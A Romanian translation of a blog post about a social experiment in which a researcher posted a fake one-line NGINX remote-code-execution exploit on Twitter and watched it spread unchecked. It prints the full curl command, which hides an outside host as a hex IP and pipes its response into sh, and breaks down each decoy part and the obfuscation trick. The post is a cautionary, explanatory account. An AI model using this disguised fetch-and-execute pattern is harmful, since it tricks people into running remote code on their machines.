Succesul unui experiment social cu un exploit fals nginx

Notă. transl.: Autor nota originală, publicată pe 1 iunie, a decis să efectueze un experiment printre cei interesați de securitatea informațiilor. Pentru a face acest lucru, el a pregătit un exploit fals pentru o vulnerabilitate nedezvăluită a serverului web și a postat-o ​​pe Twitter. Ipotezele lui – să fie expuse instantaneu de către specialiști care ar vedea înșelăciunea evidentă în cod – nu numai că nu s-au adeverit... Au depășit toate așteptările, și în sens invers: tweet-ul a primit un sprijin uriaș din partea numeroșilor oameni care nu au verifica continutul acestuia.

Succesul unui experiment social cu un exploit fals nginx

TL;DR: Nu utilizați pipelineing de fișiere în sh sau bash în nicio circumstanță. Aceasta este o modalitate excelentă de a pierde controlul asupra computerului.

Vreau să vă împărtășesc o scurtă poveste despre un exploit comic PoC care a fost creat pe 31 mai. A apărut prompt ca răspuns la știrile de la Alisa Esage Shevchenko, membru Inițiativa Zero Ziua (ZDI), că informațiile despre o vulnerabilitate din NGINX care duce la RCE (execuție de cod la distanță) vor fi dezvăluite în curând. Deoarece NGINX alimentează multe site-uri web, știrile trebuie să fi fost o bombă. Dar din cauza întârzierilor în procesul de „dezvăluire responsabilă”, nu se cunoșteau detaliile a ceea ce s-a întâmplat - aceasta este procedura standard ZDI.

Succesul unui experiment social cu un exploit fals nginx
Tweet despre dezvăluirea vulnerabilităților în NGINX

După ce am terminat de lucrat la o nouă tehnică de ofuscare în curl, am citat tweet-ul original și am „scăpat un PoC funcțional” constând dintr-o singură linie de cod care se presupune că exploatează vulnerabilitatea descoperită. Desigur, asta a fost o prostie completă. Am presupus că voi fi imediat expus și că în cel mai bun caz voi primi câteva retweet-uri (oh, bine).

Succesul unui experiment social cu un exploit fals nginx
Tweet cu exploatare falsă

Cu toate acestea, nu mi-am putut imagina ce s-a întâmplat în continuare. Popularitatea tweet-ului meu a crescut vertiginos. În mod surprinzător, în acest moment (15:00 ora Moscovei, 1 iunie) puțini oameni și-au dat seama că acesta este un fals. Mulți oameni îl retweetează fără să îl verifice deloc (darămite să admire grafica minunată ASCII pe care o produce).

Succesul unui experiment social cu un exploit fals nginx
Uite doar ce frumos este!

Deși toate aceste bucle și culori sunt grozave, este clar că oamenii au trebuit să ruleze cod pe mașina lor pentru a le vedea. Din fericire, browserele funcționează la fel și, combinat cu faptul că nu voiam cu adevărat să intru în probleme legale, codul îngropat în site-ul meu făcea doar apeluri ecou fără a încerca să instalez sau să execut vreun cod suplimentar.

Mică digresiune: netspooky, DNZ, eu și ceilalți băieți din echipă Mulțimea de bătăuși Ne jucăm de ceva vreme cu diferite moduri de a ofusca comenzile de curl pentru că este mișto... și suntem tocilari. netspooky și dnz au descoperit câteva metode noi care mi s-au părut extrem de promițătoare. M-am alăturat distracției și am încercat să adaug conversii zecimale IP la pachetul de trucuri. Se pare că IP-ul poate fi convertit și în format hexazecimal. Mai mult, curl și majoritatea altor instrumente NIX mănâncă cu plăcere IP-uri hexazecimale! Deci a fost doar o chestiune de a crea o linie de comandă convingătoare și sigură. Până la urmă m-am hotărât pe acesta:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Ingineria socio-electronică (S.E.E.) este mai mult decât phishing

Siguranța și familiaritatea au fost o parte importantă a acestui experiment. Cred că ei sunt cei care au condus la succesul lui. Linia de comandă implica în mod clar securitate făcând referire la „127.0.0.1” (cunoscuta gazdă locală). Localhost este considerat sigur și datele de pe acesta nu părăsesc computerul.

Familiaritatea a fost a doua componentă cheie S.E.E. a experimentului. Deoarece publicul țintă era format în primul rând din oameni familiarizați cu elementele de bază ale securității computerelor, a fost important să se creeze cod, astfel încât părți din acesta să pară familiare și familiare (și, prin urmare, sigure). Împrumutul de elemente ale conceptelor vechi de exploatare și combinarea lor într-un mod neobișnuit s-a dovedit a fi un mare succes.

Mai jos este o analiză detaliată a unei linii. Totul de pe această listă se poartă natura cosmetică, și practic nu este nevoie de nimic pentru funcționarea sa efectivă.

Ce componente sunt cu adevărat necesare? Acest -gsS, -O 0x0238f06a, |sh și serverul web în sine. Serverul web nu conținea instrucțiuni rău intenționate, ci pur și simplu a servit grafică ASCII folosind comenzi echo în scenariul cuprins în index.html. Când utilizatorul a introdus o linie cu |sh În mijloc, index.html încărcat și executat. Din fericire, custozii serverului web nu au avut intenții rele.

  • ../../../%00 — reprezintă trecerea dincolo de director;
  • ngx_stream_module.so — calea către un modul NGINX aleatoriu;
  • /bin/sh%00<'protocol:TCP' - se presupune că lansăm /bin/sh pe mașina țintă și redirecționează ieșirea către canalul TCP;
  • -O 0x0238f06a#PLToffset - ingredient secret, suplimentat #PLToffset, să arate ca un offset de memorie conținut cumva în PLT;
  • |sh; - un alt fragment important. Aveam nevoie să redirecționăm ieșirea către sh/bash pentru a executa codul care vine de la serverul web atacator situat la 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - un manechin în care se referă netcat /dev/tcp/localhostpentru ca totul să pară din nou în siguranță. De fapt, nu face nimic și este inclusă în linia pentru frumusețe.

Aceasta încheie decodificarea scriptului cu o singură linie și discutarea aspectelor „ingineriei socio-electronice” (phishing complicat).

Configurare server web și contramăsuri

Deoarece marea majoritate a abonaților mei sunt infosec/hackeri, am decis să fac serverul web puțin mai rezistent la expresiile de „interes” din partea lor, doar pentru ca băieții să aibă ceva de făcut (și ar fi distractiv să înființat). Nu voi enumera toate capcanele aici, deoarece experimentul este încă în desfășurare, dar iată câteva lucruri pe care serverul le face:

  • Monitorizează activ încercările de distribuție pe anumite rețele sociale și înlocuiește diverse miniaturi de previzualizare pentru a încuraja utilizatorul să facă clic pe link.
  • Redirecționează Chrome/Mozilla/Safari/etc către videoclipul promoțional Thugcrowd în loc să arate scriptul shell.
  • Urmărește semne evidente de intruziune/hacking flagrant și apoi începe să redirecționeze cererile către serverele NSA (ha!).
  • Instalează un troian, precum și un rootkit BIOS, pe toate computerele ai căror utilizatori vizitează gazda dintr-un browser obișnuit (glumesc!).

Succesul unui experiment social cu un exploit fals nginx
O mică parte de antimeri

În acest caz, singurul meu obiectiv a fost să stăpânesc unele dintre caracteristicile Apache - în special, regulile cool pentru redirecționarea cererilor - și m-am gândit: de ce nu?

Exploatare NGINX (real!)

Abonează-te la @alisaesage pe Twitter și urmăriți munca excelentă a ZDI în abordarea vulnerabilităților foarte reale și exploatarea oportunităților în NGINX. Munca lor m-a fascinat întotdeauna și îi sunt recunoscător Alicei pentru răbdarea ei cu toate mențiunile și notificările pe care le-a provocat tweetul meu stupid. Din fericire, a făcut și ceva bine: a ajutat la creșterea gradului de conștientizare a vulnerabilităților NGINX, precum și a problemelor cauzate de abuzul de curl.

Sursa: www.habr.com

Adauga un comentariu